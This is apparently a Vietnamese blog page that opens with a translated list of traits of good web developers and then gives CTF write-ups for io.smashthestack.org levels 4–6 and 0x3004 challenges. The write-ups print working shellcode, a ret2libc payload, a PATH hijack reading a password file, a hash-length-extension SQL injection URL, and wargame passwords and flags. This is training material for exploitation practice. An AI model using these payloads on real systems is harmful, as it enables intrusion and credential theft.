Featured Content Slider

Dấu hiệu chứng tỏ bạn là một Web Developer tuyệt vời

Vo Uu | 08:04 | 1nhận xét
Có thể bạn biết cách tạo ra một vài Website, nhưng đã đủ để bạn trở thành một Web Developer hay chưa? Sau đây là những dấu hiệu chứng tỏ rằng bạn là một Web Developer tuyệt vời:
0. Bạn sử dụng một Framework
Bạn nghĩ rằng tự tay lập trình nên một Website từ những dòng mã đầu tiên khó hơn là sử dụng một Framework hay Libraries có sẵn? Và điều đó sẽ chứng tỏ khả năng của bạn? Thực ra điều đó chỉ làm bạn mất thời gian hơn mà thôi, việc thấu hiểu kiến trúc và các API của một Framework, Libraries để áp dụng chúng một cách thành thạo vào các dự án Web của mình còn khó khăn hơn nhiều. Các Framework cung cấp cho bạn rất nhiều thứ hữu ích như: Template SystemRouting SystemSession ManagementORMTest System để bạn có thêm thời gian tập trung vào các xử lý logic nghiệp vụ đặc trưng của dự án. Đây là những tinh hoa được đúc kết từ kinh nghiệm thực tế của nhiều lập trình viên, việc sử dụng chúng cũng như bạn áp dụng các Hằng đẳng thức đáng nhớ để giải toán vậy.
Hơn nữa, việc sử dụng các Framework sẽ giúp bạn quản lý mã nguồn tốt hơn, giảm thiểu việc phát sinh các vấn đề bảo mật, giúp bạn học hỏi được nhiều về Design Pattern và tư duy lập trình, chính vì thế bạn nên sử dụng chúng. Những Framework càng hỗ trợ ít thì càng dễ sử dụng, dễ tuỳ biến và ngược lại.
Để bắt đầu bạn có thể chọn một PHP Web Framework như CodeIgniterYii. Với Java các bạn nên chọn Play Framework, với Python hãy chọn Wheezy Webhoặc Django và cuối cùng là Grape cho Ruby.
Rất xin lỗi các fan của Zend, Struts, Rails nhưng với tôi thời đại của những bà già nặng nề, to béo và khó tính đã qua rồi.
1. Bạn sử dụng hệ thống quản lý phiên bản
Hệ thống quản lý phiên bản hay Version Control Systems (VCS) cho phép bạn theo dõi mọi thay đổi mà bạn đã thực hiện với mã nguồn để so sánh, phân nhánh (branch), làm việc nhóm một cách hiệu quả mà không "dẫm phải chân nhau" (khi nhiều người cùng sửa một file). Hiện nay, Git là hệ thống quản lý phiên bản phổ biến nhất với các Web Developer và bạn có thể làm quen với nó một cách rất dễ dàng, bạn có thể biến thư mục mã nguồn dự án của bạn thành một Repository với chỉ một lệnh init duy nhất. Các Web Developer có kinh nghiệm tận dụng tối đa các tiện ích mà Git mang lại bằng cách sử dụng các câu lệnh Command Line, tuy nhiên nếu bạn gặp khó khăn khi sử dụng nó bạn cũng có thể sử dụng một Git Client với giao diện đồ hoạ để thao tác bằng cách click chuột hay phím tắt. Hầu hết các IDE hiện nay đều tích hợp các tính năng của một Git Client.
Tôi thường sử dụng Mecurial, nó cũng tương tự như Git nhưng có một số ưu điểm nổi trội hơn và... ít phổ biến hơn. 
2. Bạn tái sử dụng lại các đoạn mã có sẵn
Reinventing the wheel là cụm từ để chỉ việc lãng phí thời gian để tạo ra một thứ gì đó đã có sẵn và được làm tốt rồi, nó liên quan tới hội chứng Not Invented Here (NIH), đây là những vấn đề lớn với các lập trình viên. Bạn đã bỏ ra cả ngày để code 1 đoạn mã, cảm thấy vô cùng hiệu quả và sảng khoái, sau đó bạn phát hiện ra rằng chỉ với 30 giây tìm kiếm trên Google bạn có thể tìm thấy một đoạn mã hay thư viện thực hiện chính xác những gì bạn cần. Một lập trình viên kinh nghiệm phải có kỹ năng Google Search để tìm kiếm các thư viện có thể sử dụng trước khi tự tìm cách giải quyết vấn đề. Mỗi ngôn ngữ lập trình đều có một Repository để giúp cho việc tìm kiếm thư viện thuận tiện hơn như Packagist của PHP, NPM của Node.js hay Gems của Ruby. Sử dụng các thư viên hay lấy những đoạn mã từ các thư viện sẵn có sẽ tiết kiệm cho bạn rất nhiều thời gian.
3. Bạn viết các bài Test tự động
Tất nhiên ít có Web Developer nào tin tưởng tuyệt đối rằng những dòng mã mình viết ra sẽ chạy đúng hoàn toàn, các bạn sẽ refresh trình duyệt, click vào vài button để chắc chắn rằng nó chạy đúng. Nhưng lỗi có thể xuất hiện bằng rất bất ngờ và không lường trước được. Mỗi lần thay đổi mã nguồn bạn lại phải lặp lại các thao tác kiểm tra này, gây mất thời gian và có thể bỏ sót nhiều trường hợp. Chính vì vậy ta cần có các bài Test tự động thường được hỗ trợ bởi chính Framework mà bạn sử dụng hoặc cũng có thể tìm kiếm các Test Libraries khác để tích hơp vào mã nguồn. Ngoài ra còn có các công cụ như Selenium, công cụ này giúp bạn mô phỏng các kịch bản mà người dùng sẽ tương tác với trang Web của bạn.
4. Bạn rất chú trọng bảo mật
CSRF, SQL Injection, XSS, Session Fixation, MITM là những kỹ thuật tấn công phổ biến mà một Web Developer cần nắm rõ. Thông thường các Framework mà bạn sử dụng đã có những biện pháp ngăn chặn những vấn đề trên nhưng điều quan trọng là bạn phải biết về chúng và làm thế nào để giảm thiểu các nguy cơ tạo ra lỗ hổng bảo mật.
5. Bạn tạo tài liệu và chú thích mã nguồn
Các lập trình viên kinh nghiệm hiểu rằng một đoạn mã nguồn có thể được viết một lần nhưng được đọc lại rất nhiều lần bởi chính bản thân họ hoặc người khác. Đây là lý do tại sao họ cố gắng viết mã một cách dễ hiểu nhất có thể bằng cách đặt tên biến, hàm mang nhiều ý nghĩa thể hiện vai trò của nó, để lại comment ở các đoạn mã khó hiểu hay dễ gây hiểu lầm. Mỗi ngôn ngữ có một quy ước viết Doc Blocks, chú thích cho Class hoặc Function thể hiện rõ ý nghĩa, các tham số truyền vào, kết quả trả về,... Những thông tin này có thể hiển thị dưới dạng Popup trên các IDE khi Class hay Function được sử dụng. Chúng cũng có thể được trích xuất ra dưới dạng các file HTML.
Nhiều lập trình viên thậm chí còn viết các chú thích mã nguồn của họ dưới dạng các trang Wiki hay Tài liệu ngoài. Tài liệu hướng dẫn như vậy rất có giá trị tham khảo khi các lập trình viên khác cùng tham gia phát triển mã nguồn. Nếu bạn không viết Tài liệu, hãy cố gắng comment để chú thích các đoạn mã mà bạn viết ra.
Ngoài những ý nghĩa trên, tôi rất thích viết Doc Blocks vì nhìn chúng... rất đẹp và chuyên nghiệp (haha)
6. Bạn quản lý Web Server bằng Command Line thông qua SSH
Kỹ năng quản trị Server sẽ theo chân bạn một đoạn đường dài nếu bạn là một Web Developer, tất cả các trang Web mà bạn tạo ra phải được chạy trên một Web Server được cấu hình đúng. Bạn cần có những kiến thức cơ bản để gỡ rối và giải quyết những vấn đề phát sinh, cũng như điều chỉnh các thông số hệ thống sao cho phù hợp với ứng dụng Web của bạn. Quản trị server dựa trên các trình quản lý tương tác bằng giao diện Web như Webmin, cPanel, Direct Admin, Kloxo,... gây ra rất nhiều hạn chế, lãng phí tài nguyên không cần thiết và bảo mật không cao, bạn cũng có thể phải trả phí nếu sử dụng cPanel. Hơn nữa có rất nhiều service quan trọng không thể quản lý bằng các trình quản lý trên mà phải dùng Command Line thông qua SSH.
7. Bạn luôn theo dõi các công nghệ và nền tảng mới
Thế giới Công nghệ thông tin nói riêng và Lập trình Web nói riêng phát triển nhanh một cách chóng mặt. Trong khi bạn đang mày mò làm quen với một công nghệ mới thì có thể đã có công nghệ mới hơn ra đời. Ngay khi bạn thành thạo một nền tảng nào đó thì có thể nó đã lỗi thời rồi. Chính vì thế bạn không được dừng chân quá lâu mà phải luôn luôn tìm hiểu, học hỏi và nghiên cứu những công nghệ mới nhằm áp dụng vào các dự án của mình khi có thể. Twitter và Google Plus là những nơi giúp bạn có thể theo kịp sự phát triển của Công nghệ.
Facebook không cởi mở bằng Twitter và Google Plus. Người dùng Facebook thường chỉ giao tiếp với những người mà họ quen biết. Người dùng Twitter và Google Plus giao tiếp  với những người có cùng sở thích, cùng mối quan tâm. Ngoài mạng xã hội các bạn cũng có thể theo dõi tin tức tại các trang công nghệ nổi tiếng như TheNextWeb(link is external) haySmashingMagazine(link is external) hoặc chưa kịp nổi như izLearn ;)
8. Bạn quản lý thời gian hiệu quả
Đây là kỹ năng quan trọng của tất cả mọi người và tối quan trọng đối với một lập trình viên, một Web Developer. Đừng lãng phí thời gian trước màn hình máy tính để làm những việc vô nghĩa, cũng đừng để tâm trí bị chi phối bởi những thứ ngoài lề khi đang làm việc. Các lập trình viên chuyên nghiệp có thể lập kế hoạch trước cả tuần, sau đó chia nhỏ mục tiêu thành các task (nhiệm vụ) nhỏ hơn và giải quyết lần lượt từ dễ đến khó. Những task đã hoàn thành (dù dễ dàng) cũng cho bạn động lực và niềm tin để giải quyết các Task khó hơn. Họ cũng chọn cho mình một thời điểm và địa điểm làm việc thoải mái và đạt hiệu suất cao nhất. Cũng đừng quên cân bằng giữa công việc và cuộc sống.
9. Bạn luôn giữ sức khoẻ
Khoẻ mạnh là điều quan trọng nhất để bạn đạt hiệu quả cao trong công việc, công việc của một lập trình viên đòi hỏi bạn phải ngồi trước màn hình máy tính hàng giờ liền. Điều này sẽ gây ra các vấn đề về cột sống, đau cổ mãn tính, giảm thị lực, tăng cân, tim mạch và vô số các bệnh khác. Nhưng bạn vẫn có thể ngăn chặn hoặc chí ít là làm giảm thiểu chúng bằng cách nghỉ giải lao sau mỗi khoảng thời gian nhất định (khoảng 1 giờ), bạn có thể đi lại, tập thể dục và để mắt thư giãn bằng cách nhìn ra xa. Bạn có thể thức khuya, nhưng hãy đảm bảo rằng bạn ngủ từ 6 tới 8 tiếng một ngày.
10. Bạn không gian lận
Don't be evil là khẩu hiệu của Google và cũng nên trở thành tôn chỉ của một Web Developer. Khi đặt mục tiêu hãy cố gắng hoàn thành nó bằng mọi giá, ngoại trừ việc gian lận, cũng đừng vì lợi ích bản thân gây phương hại tới người khác, làm những việc trái với lương tâm như sử dụng nội dung đồi trụy, sai sự thật. Hãy tôn trọng công sức mà người khác đã bỏ ra và cạnh tranh công bằng.
Cần chú ý rằng các dấu hiệu nêu trên chỉ được tính nếu bạn thực hiện nó. Biết và Làm chỉ cách nhau 4 ký tự, nhưng vượt qua được 4 ký tự đó hay không mới là điều quan trọng.
Có thể các bạn không để ý nhưng tôi đưa ra các dấu hiệu bắt đầu từ 0, theo cách của một Programmer.
Tác giả Martin Angelov

Lược dịch izlearn.com

io.smashthestack.org level6

Vo Uu | 00:07 | 0 nhận xét
ssh level6@io.smashthestack.org
passwd: 9BT8fmYDTPimXXhY3m
level6@io:~$ cd /levels/
level6@io:/levels$ cat level06.c
//written by bla
//inspired by nnp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

enum{
LANG_ENGLISH,
LANG_FRANCAIS,
LANG_DEUTSCH,
};

int language = LANG_ENGLISH;

struct UserRecord{
        char name[40];
        char password[32];
        int id;
};

void greetuser(struct UserRecord user){
        char greeting[64];
        switch(language){
                case LANG_ENGLISH:
                        strcpy(greeting, "Hi "); break;
                case LANG_FRANCAIS:
                        strcpy(greeting, "Bienvenue "); break;
                case LANG_DEUTSCH:
                        strcpy(greeting, "Willkommen "); break;
        }
        strcat(greeting, user.name);
        printf("%s\n", greeting);
        //Fr.Uni. easter egg
}

int main(int argc, char **argv, char **env){
        if(argc != 3) {
                printf("USAGE: %s [name] [password]\n", argv[0]);
                return 1;
        }

        struct UserRecord user = {0};
        strncpy(user.name, argv[1], sizeof(user.name));
        strncpy(user.password, argv[2], sizeof(user.password));

        char *envlang = getenv("LANG");
        if(envlang)
                if(!memcmp(envlang, "fr", 2))
                        language = LANG_FRANCAIS;
                else if(!memcmp(envlang, "de", 2))
                        language = LANG_DEUTSCH;

        greetuser(user);
}

level6@io:/levels$

level6@io:/levels$ export LANG="de"

level6@io:/levels$ ./level06
USAGE: ./level06 [name] [password]
level6@io:/levels$ ./level06 `python -c 'print "a"*40 + " " + "b"*32'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Segmentation fault


level6@io:/levels$ gdb ./level06
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level06...(no debugging symbols found)...done.
(gdb) r `python -c 'print "a"*40 + " " + "b"*32'`
Starting program: /levels/level06 `python -c 'print "a"*40 + " " + "b"*32'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()



level6@io:/levels$ export BINSH=$(python -c 'print "\x90"*10 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"';)
level6@io:/levels$ cd /tmp/pns6
level6@io:/tmp/pns6$ ls
getenv  getenv.c
level6@io:/tmp/pns6$ ./getenv
The current path is: 0xbfffff4b
level6@io:/tmp/pns6$ cd /levels/
level6@io:/levels$ gdb ./level06
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level06...(no debugging symbols found)...done.
(gdb) `python -c 'print "a"*40+ " " + "b"*29+"\x4b\xff\xff\xbf"'`              Undefined command: "".  Try "help".
(gdb) r `python -c 'print "a"*40+ " " + "b"*29+"\x4b\xff\xff\xbf"'`
Starting program: /levels/level06 `python -c 'print "a"*40+ " " + "b"*29+"\x4b\xff\xff\xbf"'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbKÿÿ

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()
(gdb) r `python -c 'print "a"*40+ " " + "b"*27+"\x4b\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level06 `python -c 'print "a"*40+ " " + "b"*27+"\x4b\xff\xff\xbf"'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbKÿÿ¿

Program received signal SIGSEGV, Segmentation fault.
0xff4b6262 in ?? ()
(gdb) r `python -c 'print "a"*40+ " " + "b"*25+"\x4b\xff\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /levels/level06 `python -c 'print "a"*40+ " " + "b"*25+"\x4b\xff\xff\xbf"'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbKÿÿ¿
process 2536 is executing new program: /bin/bash
sh-4.2$ quit
sh: quit: command not found
sh-4.2$ exit
exit
[Inferior 1 (process 2536) exited with code 0177]
(gdb) quit
level6@io:/levels$ ./level06 `python -c 'print "a"*40+ " " + "b"*25+"\x4b\xff\xff\xbf"'`
Willkommen aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbKÿÿ¿
sh-4.2$ cat /home/level07/.pass
cat: /home/level07/.pass: No such file or directory
sh-4.2$ cat /home/level7/.pass
u1zqhnHEzaKmzK09Um
sh-4.2$



Writeup CTF: io.smashthestack.org level 05

Vo Uu | 07:32 | 0 nhận xét
Chào các bạn, gần đây phong trào CTF đang được nhiều đơn vị, cơ quan, trường đại học quan tâm và thường xuyên tổ chức. Bắt đầu tư hôm nay, mình sẽ đưa các bài writeup về CTF mà mình đã làm và vượt qua, hi vọng có thể giúp một số bạn mới tham gia vào CTF có thêm kinh nghiệm khi tham gia chơi CTF. Một trò chơi rất thích hợp để nâng cao khả năng và trình độ thực hành trong ngành an toàn thông tin.
Bài đầu tiên mình sẽ writeup về một challenge trên io.smashthestack.org, đây là CTF chuyên về khai thác lỗi phần mềm dạng “local exploit”. Đây là bài CTF level 5 trên trang io.smashthestack.org.
Để truy cập vào CTF này ta SSH đến máy chủ theo thông tin sau:
Mật khẩu: KGpWsju2vDpmxcxlvm
Tuy nhiên, bạn cũng có thể bắt đầu lại từ Level1 củio.smashthestack.org, sẽ cung cấp các kiến thức cho bạn để hiểu hơn về các dạng “local exploit” khác.
level5@io:~$ cd /levels/
level5@io:/levels$ ./level05
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128];
if(argc < 2) return 1;
strcpy(buf, argv[1]);
printf(“%s\n”, buf);
return 0;
}
Chương trình bị lỗi tràn bộ đệm, khi ta input đầu vào buffer hơn 128 kí tự thì sẽ bị tràn bộ đệm
level5@io:/levels$ ls -n level05
-r-sr-x— 1 1006 1005 7140 Nov 16  2007 level05
Chương trình được set SGID nên ta có thể dùng nó để đọc .pass của level6. Ở đây, mình sẽ thực hiện bằng phương pháp ret2libc
Việc đầu tiên trong ret2libc là kiếm địa chỉ của hàm system và exit trong libc
level5@io:/levels$ gdb level
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type “show copying”
and “show warranty” for details.
This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>…
level: No such file or directory.
(gdb) file level05
Reading symbols from /levels/level05…done.
(gdb) break main
Breakpoint 1 at 0x80483bd
(gdb) p system
No symbol “system” in current context.
(gdb) r
Starting program: /levels/level05
Breakpoint 1, 0x080483bd in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaaf10 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7e9e550 <exit>
(gdb)
Hàm system có địa chỉ là 0xb7eaaf10 và hàm exit có địa chỉ là 0xb7e9e550. Có địa chỉ rồi, ta tiếp tục kiếm chuỗi “/bin/sh”. Có 2 cách để kiếm chuỗi “/bin/sh” là dùng memfetch và dùng biến môi trường. Ở bài này mình sẽ hướng dẫn dùng biến môi trường.
Ta export 1 biến môi trường với tên:
level5@io:/tmp/pns2$ export BINSH=”/bin/sh”
Sau đó viết 1 chương trình nhỏ để lấy địa chỉ của biến môi trường (dùng con trỏ %p)
level5@io:/tmp/pns2$ cat ./getenv.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char *path;
path = getenv(“BINSH”);
if(path)
printf(“The current path is: %p\n”, path);
return 0;
}
Và lấy địa chỉ của biến môi trường
level5@io:/tmp/pns2$ ./getenv
The current path is: 0xbfffff74
Lưu ý, biến môi trường sẽ thay đổi nếu path của tệp thay đổi, ví dụ:
level5@io:/tmp/pns2$ ./getenv
The current path is: 0xbfffff74
level5@io:/tmp/pns2$ /tmp/pns2/getenv
The current path is: 0xbfffff64
level5@io:/tmp/pns2$ cd /levels/
level5@io:/levels$ /tmp/pns2/getenv
The current path is: 0xbfffff64
level5@io:/levels$ cd /tmp
level5@io:/tmp$ ./pns2/getenv
The current path is: 0xbfffff6a
Sau khi có đủ 3 điều kiện cần thiết (địa chỉ của system, exit và chuỗi “/bin/sh”) ta tiến hành exploit chương trình bằng phương pháp ret2libc. Trong stack, ta hình dung nó như thế này:
<địa chỉ hàm> <địa chỉ trả về> <tham số 1> <tham số 2> <tham số 3> ..
Vậy nên ta sẽ đưa vào lần lượt theo thứ tự: Địa chỉ hàm system => địa chỉ hàm exit => địa chỉ tham số chuỗi “/bin/sh”
“\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”
Chạy thử xem nào
Starting program: /levels/level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿
sh-4.2$
Ok rồi, giờ mình chạy trên shell:
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x74\xff\xff\xbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·tÿÿ¿
sh: in/sh: No such file or directory
Tại sao lại thực thi lệnh “in/sh” mà không phải là “/bin/sh”? 2 kí tự “/b” đã đi đâu?
Nãy mình có đề cập đến sự thay đổi địa chỉ trong biến môi trường. Đúng rồi, mình sẽ trừ giá trị địa chỉ của chuỗi “/bin/sh”
level5@io:/levels$ ./level05 `python -c ‘print “a”*140+”\x10\xaf\xea\xb7″+”\x50\xe5\xe9\xb7″+”\x72\xff\xff\xbf”‘`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa¯ê·Påé·rÿÿ¿
sh-4.2$ cat /home/level6/.pass
9BT8fmYDTPimXXhY3m
sh-4.2$
Kinh nghiệm rút ra từ CTF này là mỗi khi khai thác lỗi phần mềm, ta phải hiểu rõ về hệ thống đang khai thác (biến môi trường, debugger, kiến trúc hệ điều hành…).

io.smashthestack.org level4

Vo Uu | 04:36 | 0 nhận xét
level4@io:~$ cd /levels
level4@io:/levels$ cat level04.c
//writen by bla
‪#‎include‬ <stdlib.h>
#include <stdio.h>
int main() {
char username[1024];
FILE* f = popen("whoami","r");
fgets(username, sizeof(username), f);
printf("Welcome %s", username);
return 0;
}

level4@io:/levels$
level4@io:/levels$ ./level04
Welcome level04
level4@io:/levels$ mkdir /tmp/pns
level4@io:/levels$ cd /tmp/pns
level4@io:/tmp/pns$ cat whoami.c
#include <stdlib.h>
int main() {
system("cat /home/level5/.pass");
return 0;
}
level4@io:/tmp/pns$ gcc whoami.c -o whoami
level4@io:/tmp/pns$ PATH=/tmp/pns:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
level4@io:/tmp/pns$ /levels/level04
Welcome KGpWsju2vDpmxcxlvm

Thanks to HuuThoNguyen, EvisBlue, Đinh Hòa, Võ Hồng Phương, Dung Vit, ... and all members of HST
Thanks you!

CTF 0x3004 | CryptoWWW

Vo Uu | 07:59 | 0 nhận xét
Mở source file index.php lên thấy được sha1(SECRET.$username.$password) liên tưởng đến hash length extension attack . dùng tool hash extender https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks

Cách sử dụng :

./hash_extender --data ad --secret 6 --append "a' or username='admin' ;-- " --signature aa4bf6af244326aacfe262b729ecf10bdd54d823 --format sha1 --out-data-format=html

Ra được kết quả :

ad%80%40a%27+or+username%3d%27admin%27+%3b%2d%2d++

sau đó inject url như sau:

http://challenges.wargame.vn/200-cryptowww_76778cd364f076d2a875071a9b7a559a/?user=a&pass=d&HASH=c081c4ee58f68f0ff9991a3b2f48c978f3116791%26user%3Dad%2580%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%25b0a%26pass%3D%2527%2Bor%2Busername%253d%2527admin%2527%2B%253b%252d%252d%2B%2B



Hash=<new_hash>&user=<new_string_generate_from_hash_extender>&pass=<inject_code>

Encode nội dung hash de bypass qua :

$API_URL = sprintf('http://localhost/200-cryptoftw_76778cd364f076d2a875071a9b7a559a/api.php?user=%s&pass=%s&HASH=%s',$username,$password,$HASH);

Flag tìm được là: 0x3004{www_mix_crypto_ftw}


Nguyễn Hữu Thọ
HST

CTF 0x3004 | Writeup RE100: Pydis

Vo Uu | 07:51 | 0 nhận xét
Python 2.7.4 (default, Sep 26 2013, 03:20:26)
[GCC 4.7.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import dis
>>> def check_password(part1,part2):
...
...
snip
...
...
>>> dis.dis(check_password)
 16           0 LOAD_CONST               1 (12313)
              3 LOAD_CONST               2 (12304)
              6 LOAD_CONST               1 (12313)
              9 LOAD_CONST               3 (12294)
             12 LOAD_CONST               4 (12342)
             15 LOAD_CONST               5 (12351)
             18 LOAD_CONST               6 (12297)
             21 LOAD_CONST               7 (12318)
             24 LOAD_CONST               8 (12328)
             27 LOAD_CONST               9 (12338)
             30 LOAD_CONST              10 (12288)
             33 LOAD_CONST               1 (12313)
             36 LOAD_CONST              11 (12315)
             39 LOAD_CONST               1 (12313)
             42 LOAD_CONST              12 (12290)
             45 LOAD_CONST              13 (12335)
             48 LOAD_CONST              14 (12317)
             51 LOAD_CONST              15 (12334)
             54 LOAD_CONST              16 (12380)
             57 LOAD_CONST              17 (12407)
             60 LOAD_CONST              18 (12350)
             63 BUILD_LIST              21
             66 STORE_FAST               2 (PASS_ENCODED)
 18          69 LOAD_GLOBAL              0 (len)
             72 LOAD_FAST                1 (part2)
             75 CALL_FUNCTION            1
             78 LOAD_GLOBAL              0 (len)
             81 LOAD_FAST                2 (PASS_ENCODED)
             84 CALL_FUNCTION            1
             87 COMPARE_OP               0 (<)
             90 POP_JUMP_IF_FALSE       97
 19          93 LOAD_CONST              19 ('Wrong :(')
             96 RETURN_VALUE      
 21     >>   97 SETUP_LOOP              91 (to 191)
            100 LOAD_GLOBAL              1 (range)
            103 LOAD_GLOBAL              0 (len)
            106 LOAD_FAST                2 (PASS_ENCODED)
            109 CALL_FUNCTION            1
            112 LOAD_CONST              20 (1)
            115 BINARY_SUBTRACT  
            116 CALL_FUNCTION            1
            119 GET_ITER          
        >>  120 FOR_ITER                67 (to 190)
            123 STORE_FAST               3 (i)
 22         126 LOAD_FAST                2 (PASS_ENCODED)
            129 LOAD_FAST                3 (i)
            132 BINARY_SUBSCR    
            133 LOAD_GLOBAL              2 (int)
            136 LOAD_FAST                0 (part1)
            139 LOAD_CONST              21 (16)
            142 CALL_FUNCTION            2
            145 BINARY_XOR        
            146 LOAD_GLOBAL              3 (ord)
            149 LOAD_FAST                1 (part2)
            152 LOAD_FAST                3 (i)
            155 BINARY_SUBSCR    
            156 CALL_FUNCTION            1
            159 LOAD_GLOBAL              3 (ord)
            162 LOAD_FAST                1 (part2)
            165 LOAD_FAST                3 (i)
            168 LOAD_CONST              20 (1)
            171 BINARY_ADD        
            172 BINARY_SUBSCR    
            173 CALL_FUNCTION            1
            176 BINARY_XOR        
            177 COMPARE_OP               3 (!=)
            180 POP_JUMP_IF_FALSE      120
 23         183 LOAD_CONST              19 ('Wrong :(')
            186 RETURN_VALUE      
            187 JUMP_ABSOLUTE          120
        >>  190 POP_BLOCK        
 24     >>  191 LOAD_CONST              22 ('Password is correct!')
            194 RETURN_VALUE        

Từ đoạn trên, mình có thể đoán ra được rằng function  check_password đã được pydis disassemble nó ra đoạn dưới

Cách reverse từ pydis bạn có thể tham khảo ở: https://docs.python.org/2/library/dis.html

Mình reverse được đoạn mã sau (gần đúng thôi nhé):

import dis
def check_password(part1,part2):
PASS_ENCODED = [12313,12304,12313,12294,12342,12351,12297,12318,12328,12338,12288,12313,12315,12313,12290,12335,12317,12334,12380,12407,12350]
if (len(part2) < len(PASS_ENCODED)):
print 'Wrong :('
else:
for i in range(len(PASS_ENCODED)-1):
if (PASS_ENCODED[i] ^ int('0',16) != (ord(part2[i]) ^ (ord(part2[i+1]) ))):
print 'Wrong :('
return
print 'Password is correct!'
return
dis.dis(check_password)
Đúng theo format của flag là 0x3004{XXXXXXXXXXXXXXXXXXXXX}
ta có thể tính được ra các kí tự tiếp theo bằng cách
part2[i+1] = shr(PASS_ENCODED[i] ^ int('0',16) ^ (ord(part2[i]))
part 1 có thể là 0x3004 và kí tự thứ 1 của phần sau là '{'
Áp dụng vào công thức trên:
>>> chr(12313 ^ int('0x3004',16) ^ ord('{'))
'f'
Ta có thể làm tiếp như vậy
nhưng ta có thể khiến nó tự động hóa nhả flag ^_^

import sys
def check_password(part1,part2):
PASS_ENCODED = [12313,12304,12313,12294,12342,12351,12297,12318,12328,12338,12288,12313,12315,12313,12290,12335,12317,12334,12380,12407,12350]
p2len=0
for i in range(len(PASS_ENCODED)):
part2+=chr(ord(part2[p2len])^int(part1,16)^PASS_ENCODED[i])
p2len+=1
print part1+part2
check_password("0x3004","{")
C:\Users\Phuongnamsoft>E:\CTF\0x3004\pyd.py
0x3004{from_dis_import_Fl4G}


Great thanks to: Nguyễn Hữu Thọ, Võ Hồng Phương, Trung Nguyễn, Đinh Hòa, Love Magic, Dung Vit và Evis Blue đã giúp mình hoàn thành CTFvà bài viết này ^_^

How to Crack a Wpa2-Psk Password with Windows

Vo Uu | 16:14 | 0 nhận xét
